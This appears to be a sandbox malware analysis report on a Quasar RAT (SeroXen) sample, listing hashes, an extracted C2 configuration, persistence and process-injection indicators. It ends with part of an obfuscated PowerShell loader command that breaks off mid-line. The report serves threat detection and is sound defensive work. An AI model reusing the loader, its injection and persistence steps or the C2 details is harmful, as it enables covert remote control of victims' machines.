quasar | 04f86ef6a2870bcaff958187d1bbf7281e6c8c1c1f2fbefddc11e3a379e4f9b9

Analysis

max time kernel
300s
max time network
287s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
14-05-2024 18:17

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General

Target

Uni.exe
Size

409KB
MD5

16e4226eddebe2148b46353c351ec570
SHA1

5879aab64c4d4c086f24807f85c3f1bec657db9c
SHA256

04f86ef6a2870bcaff958187d1bbf7281e6c8c1c1f2fbefddc11e3a379e4f9b9
SHA512

7fa89b0aee061fca53534c7e38dfa873235095e32f64e87d7a8457e765f804d8f2408e90b90a484ea3e9c18d1110a5667de9aab14d9d9e22911433e9da4cfd38
SSDEEP

6144:cMfPp5S6M1Xy0vjzilQA9QU9sX0bx4UmWOQ6rhxODbfFOqb:Rpg6M1i+jzilQoAVUmjJtx2fF5b

Score

10^/10

quasar seroxen spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen

tue-jake.gl.at.ply.gg:29058

Mutex

$Sxr-NCZpRTaGL620kkY20c

Attributes

encryption_key
0CaeSao9jSngJXRQGaoy
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
SeroXen
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/3492-1-0x0000000000510000-0x000000000057C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 2044 created 4464 2044 WerFault.exe YLyLEEe0GcIq.exe

description	pid	process	target process
PID 2044 created 4464	2044	WerFault.exe	YLyLEEe0GcIq.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

powershell.EXEpowershell.EXEsvchost.exe

description	pid	process	target process
PID 3444 created 644	3444	powershell.EXE	winlogon.exe
PID 72 created 644	72	powershell.EXE	winlogon.exe
PID 1780 created 4464	1780	svchost.exe	YLyLEEe0GcIq.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 4 IoCs

Processes:

Client.exeinstall.exeinstall.exeYLyLEEe0GcIq.exe

pid process

4984 Client.exe
4596 install.exe
4016 install.exe
4464 YLyLEEe0GcIq.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
4 raw.githubusercontent.com
10 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

pid	process
4984	Client.exe
4596	install.exe
4016	install.exe
4464	YLyLEEe0GcIq.exe

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com
10	raw.githubusercontent.com

flow	ioc
1	ip-api.com

Drops file in System32 directory 8 IoCs

Processes:

OfficeClickToRun.exesvchost.exepowershell.EXEpowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 3444 set thread context of 3360	3444	powershell.EXE	dllhost.exe
PID 72 set thread context of 4780	72	powershell.EXE	dllhost.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2720 4464 WerFault.exe YLyLEEe0GcIq.exe

pid	pid_target	process	target process
2720	4464	WerFault.exe	YLyLEEe0GcIq.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

4536 schtasks.exe
1016 SCHTASKS.exe
3452 schtasks.exe

pid	process
4536	schtasks.exe
1016	SCHTASKS.exe
3452	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\5fc140e6_0	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\5fc140e6_0\ = "{2}.\\\\?\\hdaudio#func_01&ven_1af4&dev_0022&subsys_1af40022&rev_1001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\\elineouttopo/00010001\|\\Device\\HarddiskVolume2\\Users\\Admin\\AppData\\Local\\Temp\\YLyLEEe0GcIq.exe%b{00000000-0000-0000-0000-000000000000}"	svchost.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={E195B012-BD0C-42C9-A91A-E81BF383ABDD}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEpowershell.EXEdllhost.exeClient.exewmiprvse.exedllhost.exe

pid	process
3444	powershell.EXE
3444	powershell.EXE
72	powershell.EXE
72	powershell.EXE
3444	powershell.EXE
3360	dllhost.exe
3360	dllhost.exe
3360	dllhost.exe
3360	dllhost.exe
4984	Client.exe
3360	dllhost.exe
3360	dllhost.exe
72	powershell.EXE
3360	dllhost.exe
3360	dllhost.exe
3360	dllhost.exe
3360	dllhost.exe
3360	dllhost.exe
3360	dllhost.exe
4984	Client.exe
3360	dllhost.exe
3360	dllhost.exe
3360	dllhost.exe
3360	dllhost.exe
2788	wmiprvse.exe
72	powershell.EXE
3360	dllhost.exe
3360	dllhost.exe
3360	dllhost.exe
3360	dllhost.exe
72	powershell.EXE
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4984	Client.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4984	Client.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4984	Client.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe
4780	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3344 Explorer.EXE

pid	process
3344	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.exeClient.exepowershell.EXEpowershell.EXEdllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	3492	Uni.exe
Token: SeDebugPrivilege	4984	Client.exe
Token: SeDebugPrivilege	3444	powershell.EXE
Token: SeDebugPrivilege	72	powershell.EXE
Token: SeDebugPrivilege	3444	powershell.EXE
Token: SeDebugPrivilege	3360	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2644	svchost.exe
Token: SeIncreaseQuotaPrivilege	2644	svchost.exe
Token: SeSecurityPrivilege	2644	svchost.exe
Token: SeTakeOwnershipPrivilege	2644	svchost.exe
Token: SeLoadDriverPrivilege	2644	svchost.exe
Token: SeSystemtimePrivilege	2644	svchost.exe
Token: SeBackupPrivilege	2644	svchost.exe
Token: SeRestorePrivilege	2644	svchost.exe
Token: SeShutdownPrivilege	2644	svchost.exe
Token: SeSystemEnvironmentPrivilege	2644	svchost.exe
Token: SeUndockPrivilege	2644	svchost.exe
Token: SeManageVolumePrivilege	2644	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2644	svchost.exe
Token: SeIncreaseQuotaPrivilege	2644	svchost.exe
Token: SeSecurityPrivilege	2644	svchost.exe
Token: SeTakeOwnershipPrivilege	2644	svchost.exe
Token: SeLoadDriverPrivilege	2644	svchost.exe
Token: SeSystemtimePrivilege	2644	svchost.exe
Token: SeBackupPrivilege	2644	svchost.exe
Token: SeRestorePrivilege	2644	svchost.exe
Token: SeShutdownPrivilege	2644	svchost.exe
Token: SeSystemEnvironmentPrivilege	2644	svchost.exe
Token: SeUndockPrivilege	2644	svchost.exe
Token: SeManageVolumePrivilege	2644	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2644	svchost.exe
Token: SeIncreaseQuotaPrivilege	2644	svchost.exe
Token: SeSecurityPrivilege	2644	svchost.exe
Token: SeTakeOwnershipPrivilege	2644	svchost.exe
Token: SeLoadDriverPrivilege	2644	svchost.exe
Token: SeSystemtimePrivilege	2644	svchost.exe
Token: SeBackupPrivilege	2644	svchost.exe
Token: SeRestorePrivilege	2644	svchost.exe
Token: SeShutdownPrivilege	2644	svchost.exe
Token: SeSystemEnvironmentPrivilege	2644	svchost.exe
Token: SeUndockPrivilege	2644	svchost.exe
Token: SeManageVolumePrivilege	2644	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2644	svchost.exe
Token: SeIncreaseQuotaPrivilege	2644	svchost.exe
Token: SeSecurityPrivilege	2644	svchost.exe
Token: SeTakeOwnershipPrivilege	2644	svchost.exe
Token: SeLoadDriverPrivilege	2644	svchost.exe
Token: SeSystemtimePrivilege	2644	svchost.exe
Token: SeBackupPrivilege	2644	svchost.exe
Token: SeRestorePrivilege	2644	svchost.exe
Token: SeShutdownPrivilege	2644	svchost.exe
Token: SeSystemEnvironmentPrivilege	2644	svchost.exe
Token: SeUndockPrivilege	2644	svchost.exe
Token: SeManageVolumePrivilege	2644	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2644	svchost.exe
Token: SeIncreaseQuotaPrivilege	2644	svchost.exe
Token: SeSecurityPrivilege	2644	svchost.exe
Token: SeTakeOwnershipPrivilege	2644	svchost.exe
Token: SeLoadDriverPrivilege	2644	svchost.exe
Token: SeSystemtimePrivilege	2644	svchost.exe
Token: SeBackupPrivilege	2644	svchost.exe
Token: SeRestorePrivilege	2644	svchost.exe
Token: SeShutdownPrivilege	2644	svchost.exe
Token: SeSystemEnvironmentPrivilege	2644	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Client.exeYLyLEEe0GcIq.exe

pid process

4984 Client.exe
4464 YLyLEEe0GcIq.exe
Suspicious use of UnmapMainImage 2 IoCs

Processes:

Explorer.EXERuntimeBroker.exe

pid process

3344 Explorer.EXE
3892 RuntimeBroker.exe

pid	process
4984	Client.exe
4464	YLyLEEe0GcIq.exe

pid	process
3344	Explorer.EXE
3892	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exeClient.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 3492 wrote to memory of 4536	3492	Uni.exe	schtasks.exe
PID 3492 wrote to memory of 4536	3492	Uni.exe	schtasks.exe
PID 3492 wrote to memory of 4536	3492	Uni.exe	schtasks.exe
PID 3492 wrote to memory of 4984	3492	Uni.exe	Client.exe
PID 3492 wrote to memory of 4984	3492	Uni.exe	Client.exe
PID 3492 wrote to memory of 4984	3492	Uni.exe	Client.exe
PID 3492 wrote to memory of 4596	3492	Uni.exe	install.exe
PID 3492 wrote to memory of 4596	3492	Uni.exe	install.exe
PID 3492 wrote to memory of 4596	3492	Uni.exe	install.exe
PID 3492 wrote to memory of 1016	3492	Uni.exe	SCHTASKS.exe
PID 3492 wrote to memory of 1016	3492	Uni.exe	SCHTASKS.exe
PID 3492 wrote to memory of 1016	3492	Uni.exe	SCHTASKS.exe
PID 4984 wrote to memory of 3452	4984	Client.exe	schtasks.exe
PID 4984 wrote to memory of 3452	4984	Client.exe	schtasks.exe
PID 4984 wrote to memory of 3452	4984	Client.exe	schtasks.exe
PID 4984 wrote to memory of 4016	4984	Client.exe	install.exe
PID 4984 wrote to memory of 4016	4984	Client.exe	install.exe
PID 4984 wrote to memory of 4016	4984	Client.exe	install.exe
PID 3444 wrote to memory of 3360	3444	powershell.EXE	dllhost.exe
PID 3444 wrote to memory of 3360	3444	powershell.EXE	dllhost.exe
PID 3444 wrote to memory of 3360	3444	powershell.EXE	dllhost.exe
PID 3444 wrote to memory of 3360	3444	powershell.EXE	dllhost.exe
PID 3444 wrote to memory of 3360	3444	powershell.EXE	dllhost.exe
PID 3444 wrote to memory of 3360	3444	powershell.EXE	dllhost.exe
PID 3444 wrote to memory of 3360	3444	powershell.EXE	dllhost.exe
PID 3444 wrote to memory of 3360	3444	powershell.EXE	dllhost.exe
PID 3360 wrote to memory of 644	3360	dllhost.exe	winlogon.exe
PID 3360 wrote to memory of 708	3360	dllhost.exe	lsass.exe
PID 3360 wrote to memory of 1008	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 772	3360	dllhost.exe	dwm.exe
PID 3360 wrote to memory of 736	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 640	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1068	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1156	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1172	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1208	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1268	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1344	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1420	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1456	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1524	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1532	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1540	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1696	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1764	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1772	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1872	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1892	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1960	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1976	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1796	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 2052	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 2136	3360	dllhost.exe	spoolsv.exe
PID 3360 wrote to memory of 2252	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 2432	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 2440	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 2484	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 2560	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 2576	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 2592	3360	dllhost.exe	sysmon.exe
PID 3360 wrote to memory of 2636	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 2644	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 2692	3360	dllhost.exe	svchost.exe
PID 3360 wrote to memory of 1084	3360	dllhost.exe	sihost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:772

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{1b1ae0ec-3e96-4ee6-bfc3-8cba1e0816bf}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3360

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{03a3ca50-1156-4a20-94f2-ca77964b4370}
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4780

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:640

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1156

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DeaEIfQEBMCB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NsHjWmKxGrPVdA,[Parameter(Position=1)][Type]$MFvbWoMOaN)$XbjwctSAgZK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+'l'+'e'+[Char](99)+''+'t'+''+'e'+'dD'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'yM'+[Char](111)+'d'+[Char](117)+'le',$False).DefineType(''+'M'+''+[Char](121)+'D'+'e'+'leg'+[Char](97)+''+'t'+'e'+'T'+''+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+',Publ'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+','+'A'+''+'u'+'t'+'o'+''+[Char](67)+'l'+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$XbjwctSAgZK.DefineConstructor(''+[Char](82)+'T'+[Char](83)+'p'+'e'+''+'c'+'i'+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+'i'+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$NsHjWmKxGrPVdA).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+[Char](105)+''+[Char](109)+'e